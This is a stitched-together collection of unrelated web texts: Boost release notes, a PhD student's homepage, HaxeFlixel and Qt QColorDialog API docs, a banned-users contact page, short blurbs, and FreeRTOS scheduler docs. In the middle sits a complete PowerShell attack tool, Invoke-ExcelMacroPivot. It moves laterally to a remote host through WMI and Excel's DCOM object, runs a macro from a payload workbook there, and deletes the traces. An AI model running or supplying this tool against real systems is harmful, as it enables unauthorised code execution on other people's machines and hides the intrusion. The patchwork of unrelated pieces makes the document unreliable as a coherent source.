April 12th, 2019 06:04 GMT
New Libraries: Outcome, Histogram. Updated Libraries: Asio, Beast, Context,
Coroutine2, Dll, DynamicBitset, Fiber, Filesystem, Integer, Log, Math, Mp11,
MultiIndex, Multiprecision, Polycollection, Spirit, Stacktrace, Test, TypeIndex,
TypeTraits, Variant, Ublas.
December 12th, 2018 02:58 GMT
New Libraries: Safe Numerics. Updated Libraries: Any, Asio, Assign, Beast,
CircularBuffer, Concept Check, Core, DLL, Dynamic Bitset, Fiber, Filesystem,
Flyweight, Geometry, Integer, Iostreams, Iterator, LexicalCast, Log, Logic,
Math, Mp11, MultiArray, Multi-index Containers, Multiprecision, PolyCollection,
Pool, Preprocessor, Rational, Spirit, Stacktrace, System, Test, TypeIndex,
Utility, Variant, YAP. Discontinued Libraries: Signals.


Haoran Bai
Thanks for your attention. I am a Ph.D. candidate in School of Computer Science and Engineering, Nanjing University of Science and Technology, China. I am a member of Intelligent Media Analysis Group (IMAG) and advised by Prof. Jinshan Pan. Not long ago, I was an intern at Tencent AI Lab, working closely with Di Kang and Linchao Bao.
My research interest includes image/video super-resolution restoration and enhancement, deblurring, dehazing and other restoration tasks. Recently, I am experimenting with face editing, 3D face reconstruction, and related tasks.
You can contact me by E-mail: baihaoran[at]njust[dot]edu[dot]cn, hrbai[dot]cs[at]outlook[dot]com.
You can find my publications and projects from my [Google Scholar] and [Github].
FFHQ-UV: Normalized Facial UV-Texture Dataset for 3D Face Reconstruction Haoran Bai, Di Kang, Haoxian Zhang, Jinshan Pan, and Linchao Bao IEEE Conference on Computer Vision and Pattern Recognition (CVPR), 2023 [Paper] [Dataset and Code]
Cascaded Deep Video Deblurring Using Temporal Sharpness Prior and Non-local Spatial-Temporal Similarity Jinshan Pan, Boming Xu, Haoran Bai, Jinhui Tang, and Ming-Hsuan Yang IEEE Transactions on Pattern Analysis and Machine Intelligence (TPAMI), 2023 [Paper] [Code]
Self-Supervised Deep Blind Video Super-Resolution Haoran Bai and Jinshan Pan Preprinting on arXiv [Paper] [Code]
Self-Guided Image Dehazing Using Progressive Feature Fusion Haoran Bai, Jinshan Pan, Xinguang Xiang, and Jinhui Tang IEEE Transactions on Image Processing (TIP), 2022 [Paper] [Code]
Deep Blind Video Super-resolution Jinshan Pan, Haoran Bai, Jiangxin Dong, Jiawei Zhang, and Jinhui Tang IEEE International Conference on Computer Vision (ICCV), 2021 [Paper] [Code]


flixel.system.debug.VCR
type
class
This class contains the record, stop, play, and step 1 frame buttons seen on the top edge of the debugger overlay.
Constructor
new
(Debugger :
FlxDebugger
)
Creates the "VCR" control panel for debugger pausing, stepping, and recording.
Instance Variables
openBtn
:
flixel.system.ui.FlxSystemButton
playbackToggleBtn
:
flixel.system.ui.FlxSystemButton
recordBtn
:
flixel.system.ui.FlxSystemButton
restartBtn
:
flixel.system.ui.FlxSystemButton
runtime
:
Int
runtimeDisplay
:
flash.text.TextField
Texfield that displays the runtime display data for a game replay
stepBtn
:
flixel.system.ui.FlxSystemButton
Instance Methods
inline
onPause
() :
Void
Called when the user presses the Pause button. This is different from user-defined pause behavior, or focus lost behavior. Does NOT pause music playback!!
inline
onResume
() :
Void
Called when the user presses the Play button. This is different from user-defined unpause behavior, or focus gained behavior.
onStep
() :
Void
Called when the user presses the fast-forward-looking button. Requests a 1-frame step forward in the game loop.


QColorDialog Class
The QColorDialog class provides a dialog widget for specifying colors. More...
| Header: | #include <QColorDialog> |
| qmake: | QT += widgets |
| Inherits: | QDialog |
Public Types
| enum | ColorDialogOption { ShowAlphaChannel, NoButtons, DontUseNativeDialog } |
| flags | ColorDialogOptions |
Properties
- currentColor : QColor
- options : ColorDialogOptions
- 2 properties inherited from QDialog
- 59 properties inherited from QWidget
- 1 property inherited from QObject
Public Functions
| QColorDialog(QWidget *parent = Q_NULLPTR) | |
| QColorDialog(const QColor &initial, QWidget *parent = Q_NULLPTR) | |
| ~QColorDialog() | |
| QColor | currentColor() const |
| void | open(QObject *receiver, const char *member) |
| ColorDialogOptions | options() const |
| QColor | selectedColor() const |
| void | setCurrentColor(const QColor &color) |
| void | setOption(ColorDialogOption option, bool on = true) |
| void | setOptions(ColorDialogOptions options) |
| bool | testOption(ColorDialogOption option) const |
Reimplemented Public Functions
| virtual void | setVisible(bool visible) |
- 8 public functions inherited from QDialog
- 214 public functions inherited from QWidget
- 32 public functions inherited from QObject
- 14 public functions inherited from QPaintDevice
Signals
| void | colorSelected(const QColor &color) |
| void | currentColorChanged(const QColor &color) |
Static Public Members
| QColor | customColor(int index) |
| int | customCount() |
| QColor | getColor(const QColor &initial = Qt::white, QWidget *parent = Q_NULLPTR, const QString &title = QString(), ColorDialogOptions options = ColorDialogOptions()) |
| void | setCustomColor(int index, QColor color) |
| void | setStandardColor(int index, QColor color) |
| QColor | standardColor(int index) |
Reimplemented Protected Functions
| virtual void | changeEvent(QEvent *e) |
| virtual void | done(int result) |
- 6 protected functions inherited from QDialog
- 35 protected functions inherited from QWidget
- 9 protected functions inherited from QObject
- 1 protected function inherited from QPaintDevice
Additional Inherited Members
- 5 public slots inherited from QDialog
- 19 public slots inherited from QWidget
- 1 public slot inherited from QObject
- 1 public variable inherited from QObject
- 6 protected functions inherited from QDialog
- 35 protected functions inherited from QWidget
- 9 protected functions inherited from QObject
- 1 protected function inherited from QPaintDevice
- 1 protected slot inherited from QWidget
- 2 protected variables inherited from QObject
- 1 protected type inherited from QPaintDevice
Detailed Description
The QColorDialog class provides a dialog widget for specifying colors.
The color dialog's function is to allow users to choose colors. For example, you might use this in a drawing program to allow the user to set the brush color.
The static functions provide modal color dialogs.
The static getColor() function shows the dialog, and allows the user to specify a color. This function can also be used to let users choose a color with a level of transparency: pass the ShowAlphaChannel option as an additional argument.
The user can store customCount() different custom colors. The custom colors are shared by all color dialogs, and remembered during the execution of the program. Use setCustomColor() to set the custom colors, and use customColor() to get them.
When pressing the "Pick Screen Color" button, the cursor changes to a haircross and the colors on the screen are scanned. The user can pick up one by clicking the mouse or the Enter button. Pressing Escape restores the last color selected before entering this mode.
The Standard Dialogs example shows how to use QColorDialog as well as other built-in Qt dialogs.
See also QColor, QFileDialog, QFontDialog, and Standard Dialogs Example.
Member Type Documentation
enum QColorDialog::ColorDialogOption
flags QColorDialog::ColorDialogOptions
This enum specifies various options that affect the look and feel of a color dialog.
| Constant | Value | Description |
|---|---|---|
QColorDialog::ShowAlphaChannel | 0x00000001 | Allow the user to select the alpha component of a color. |
QColorDialog::NoButtons | 0x00000002 | Don't display OK and Cancel buttons. (Useful for "live dialogs".) |
QColorDialog::DontUseNativeDialog | 0x00000004 | Use Qt's standard color dialog instead of the operating system native color dialog. |
This enum was introduced or modified in Qt 4.5.
The ColorDialogOptions type is a typedef for QFlags<ColorDialogOption>. It stores an OR combination of ColorDialogOption values.
See also options, setOption(), testOption(), and windowModality().
Property Documentation
currentColor : QColor
This property holds the currently selected color in the dialog
Access functions:
| QColor | currentColor() const |
| void | setCurrentColor(const QColor &color) |
Notifier signal:
| void | currentColorChanged(const QColor &color) |
options : ColorDialogOptions
This property holds the various options that affect the look and feel of the dialog
By default, all options are disabled.
Options should be set before showing the dialog. Setting them while the dialog is visible is not guaranteed to have an immediate effect on the dialog (depending on the option and on the platform).
Access functions:
| ColorDialogOptions | options() const |
| void | setOptions(ColorDialogOptions options) |
See also setOption() and testOption().
Member Function Documentation
QColorDialog::QColorDialog(QWidget *parent = Q_NULLPTR)
Constructs a color dialog with the given parent.
This function was introduced in Qt 4.5.
QColorDialog::QColorDialog(const QColor &initial, QWidget *parent = Q_NULLPTR)
Constructs a color dialog with the given parent and specified initial color.
This function was introduced in Qt 4.5.
QColorDialog::~QColorDialog()
Destroys the color dialog.
[virtual protected]
void QColorDialog::changeEvent(QEvent *e)
Reimplemented from QWidget::changeEvent().
[signal]
void QColorDialog::colorSelected(const QColor &color)
This signal is emitted just after the user has clicked OK to select a color to use. The chosen color is specified by color.
See also color and currentColorChanged().
[signal]
void QColorDialog::currentColorChanged(const QColor &color)
This signal is emitted whenever the current color changes in the dialog. The current color is specified by color.
Note: Notifier signal for property currentColor.
See also color and colorSelected().
[static]
QColor QColorDialog::customColor(int index)
Returns the custom color at the given index as a QColor value.
This function was introduced in Qt 4.5.
See also setCustomColor().
[static]
int QColorDialog::customCount()
Returns the number of custom colors supported by QColorDialog. All color dialogs share the same custom colors.
[virtual protected]
void QColorDialog::done(int result)
Reimplemented from QDialog::done().
Closes the dialog and sets its result code to result. If this dialog is shown with exec(), done() causes the local event loop to finish, and exec() to return result.
See also QDialog::done().
[static]
QColor QColorDialog::getColor(const QColor &initial = Qt::white, QWidget *parent = Q_NULLPTR, const QString &title = QString(), ColorDialogOptions options = ColorDialogOptions())
Pops up a modal color dialog with the given window title (or "Select Color" if none is specified), lets the user choose a color, and returns that color. The color is initially set to initial. The dialog is a child of parent. It returns an invalid (see QColor::isValid()) color if the user cancels the dialog.
The options argument allows you to customize the dialog.
This function was introduced in Qt 4.5.
void QColorDialog::open(QObject *receiver, const char *member)
This is an overloaded function.
Opens the dialog and connects its colorSelected() signal to the slot specified by receiver and member.
The signal will be disconnected from the slot when the dialog is closed.
This function was introduced in Qt 4.5.
QColor QColorDialog::selectedColor() const
Returns the color that the user selected by clicking the OK or equivalent button.
Note: This color is not always the same as the color held by the currentColor property since the user can choose different colors before finally selecting the one to use.
[static]
void QColorDialog::setCustomColor(int index, QColor color)
Sets the custom color at index to the QColor color value.
Note: This function does not apply to the Native Color Dialog on the macOS platform. If you still require this function, use the QColorDialog::DontUseNativeDialog option.
See also customColor().
void QColorDialog::setOption(ColorDialogOption option, bool on = true)
Sets the given option to be enabled if on is true; otherwise, clears the given option.
See also options and testOption().
[static]
void QColorDialog::setStandardColor(int index, QColor color)
Sets the standard color at index to the QColor color value.
Note: This function does not apply to the Native Color Dialog on the macOS platform. If you still require this function, use the QColorDialog::DontUseNativeDialog option.
See also standardColor().
[virtual]
void QColorDialog::setVisible(bool visible)
Reimplemented from QWidget::setVisible().
Changes the visibility of the dialog. If visible is true, the dialog is shown; otherwise, it is hidden.
[static]
QColor QColorDialog::standardColor(int index)
Returns the standard color at the given index as a QColor value.
This function was introduced in Qt 5.0.
See also setStandardColor().
bool QColorDialog::testOption(ColorDialogOption option) const
Returns true
if the given option is enabled; otherwise, returns false.
This function was introduced in Qt 4.5.


function Invoke-ExcelMacroPivot{
<#
.AUTHOR
Matt Nelson (@enigma0x3)
.SYNOPSIS
Pivots to a remote host by using an Excel macro and Excel's COM object
.PARAMETER Target
Remote host to pivot to
.PARAMETER RemoteDocumentPath
Local path on the remote host where the payload resides
.PARAMETER MacroName
The name of the macro residing in the payload document
.EXAMPLE
PS C:\> Invoke-ExcelMacroPivot -Target "<IP_ADDRESS>" -RemoteDocumentPath "C:\Book1.xlsm" -MacroName "Auto_Open"
Executes the "Auto_Open" macro from C:\Book1.xlsm on the host <IP_ADDRESS>
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
$Target,
$RemoteDocumentPath,
$MacroName
)
$32BitPath = "\\$target\c$\Windows\System32\config\systemprofile\Desktop"
$64BitPath = "\\$target\c$\Windows\SysWOW64\config\systemprofile\Desktop"
#Connect to remote host via WMI for reg enumeration
try{
Write-Verbose "Connecting to StdRegProv on $target"
$remoteReg = [WMIClass]"\\$target\ROOT\default:StdRegProv"
}catch{
throw "Could not connect to StdRegProv"
}
try{
Write-Verbose "Getting OS Architecture of $target"
$OSArch = @(Get-WmiObject -ComputerName $target -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
}catch{
throw "Could not get OS Arch."
}
#Check if Office is installed
$hklm = [uint32]'0x80000002'
$OfficeResult = $remoteReg.CheckAccess($hklm, 'SOFTWARE\Microsoft\Office',1)
function Local:Prep-Target{
if ($OSArch -eq "64") {
try {
Write-Verbose "Creating both 32 and 64 bit Profile directories"
[system.io.directory]::createDirectory($32BitPath)
[system.io.directory]::createDirectory($64BitPath)
} catch {
throw "Unable to create directory"
}
} elseif ($OSArch -eq "32") {
try {
Write-Verbose "Creating 32 bit profile directory"
[system.io.directory]::createDirectory($32BitPath)
} catch {
throw "Unable to create directory"
}
} else {
throw "OS Arch not determined"
}
}
function Local:Cleanup-Target{
if ($OSArch -eq "64") {
try{
Write-Verbose "Deleting both 32 and 64 bit profile directories"
[system.io.directory]::Delete($32BitPath)
[system.io.directory]::Delete($64BitPath)
} catch{
throw "Unable to delete directory"
}
} elseif ($OSArch -eq "32") {
try{
Write-Verbose "Deleting 32 bit profile directory"
[system.io.directory]::Delete($32BitPath)
} catch{
throw "Unable to delete directory"
}
}
try{
Write-Verbose "Deleting payload from $RemoteDocumentPath on $target"
$UNCPath = "\\$target\c$\" + $RemoteDocumentPath.Replace("C:\","")
[system.io.file]::Delete($UNCPath)
} catch {
throw "Unable to cleanup payload"
}
}
If ($OfficeResult.BGranted -eq $True) {
Write-Verbose "Prepping $target"
Prep-Target
Write-Verbose "Activating Excel.Application on $target"
$Excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application",$target))
Write-Verbose "Opening payload"
$WorkBook = $Excel.Workbooks.Open($RemoteDocumentPath)
Write-Verbose "Executing Macro $MacroName from $RemoteDocumentPath"
$Excel.Run($MacroName)
$WorkBook.Close()
$Excel.Application.Quit()
$Excel.Quit()
[System.Runtime.Interopservices.Marshal]::FinalReleaseComObject($Excel)
Write-Verbose "Sleeping 10 seconds for FinalReleaseCOMOBject() to finish"
Start-Sleep 10
Write-Verbose "Cleaning up $target"
Cleanup-Target
} else{
throw "Office not installed on target"
}
}


Contact Us
Addition to the List:
If you or anyone you know meets our eligibilty standards, send us your or the person's details on<EMAIL_ADDRESS>Please provide all the platfroms from where they are banned, and all the links to profiles or sites they are currently active on. The subject of the email should only contain the word ADD.
Removal from the List:
We list every individual who meet our eligibility standards. But if you want yourself removed from the list, please email us at<EMAIL_ADDRESS>from own registered email address. The email must be sent from an email address which is publicly verifiable that it belongs to you. The subject of the email should only contain the word REMOVE.
Queries:
For any queries regarding our website, terms, vision etc. please email us at<EMAIL_ADDRESS>The subject of the email should only contain the word OTHER. Currently we don't take any promotion request or donation.


Moneyball
Moneyball is a movie starring Brad Pitt, Robin Wright, and Jonah Hill. Oakland A's general manager Billy Beane's successful attempt to assemble a baseball team on a lean budget by employing computer-generated analysis to acquire new...


Notifications: You can access your messages, pawlikes and pawlover notifications from the notifications section.
Pet Profile: Personalize your experience by creating a social profile for your pet, from which you can connect with other friends and create your very own little packs. Also, you can access your
pawlovers and pawlovings easily.


|
task. h
BaseType_t
xTaskResumeAll( void );
Resumes the scheduler after it was suspended using a call to vTaskSuspendAll().
xTaskResumeAll() only resumes the scheduler. It does not unsuspend tasks
that were previously suspended by a call to vTaskSuspend().
- Returns:
- If resuming the scheduler caused a context
switch then pdTRUE is returned, otherwise
pdFALSE is returned.
Example usage:
void vTask1( void * pvParameters )
{
for( ;; )
{
/* Task code goes here. */
/* ... */
/* At some point the task wants to perform a long operation
during which it does not want to get swapped out. It cannot
use taskENTER_CRITICAL ()/taskEXIT_CRITICAL () as the length
of the operation may cause interrupts to be missed -
including the ticks.
Prevent the RTOS kernel swapping out the task. */
vTaskSuspendAll();
/* Perform the operation here. There is no need to use critical
sections as we have all the microcontroller processing time.
During this time interrupts will still operate and the real
time RTOS kernel tick count will be maintained. */
/* ... */
/* The operation is complete. Restart the RTOS kernel. We want to force
a context switch - but there is no point if resuming the scheduler
caused a context switch already. */
if( !xTaskResumeAll () )
{
taskYIELD ();
}
}
}
Copyright (C) 2004-2010 Richard Barry. Copyright
(C) 2010-2016 Real Time Engineers Ltd.
Any and all data, files, source code, html
content and documentation included in the
FreeRTOSTM
distribution or available on this site are the
exclusive property of Real Time Engineers Ltd..
See the files license.txt (included in the
distribution) and this copyright notice for more information.
FreeRTOSTM and FreeRTOS.orgTM are trade marks of Real Time Engineers
Ltd.
|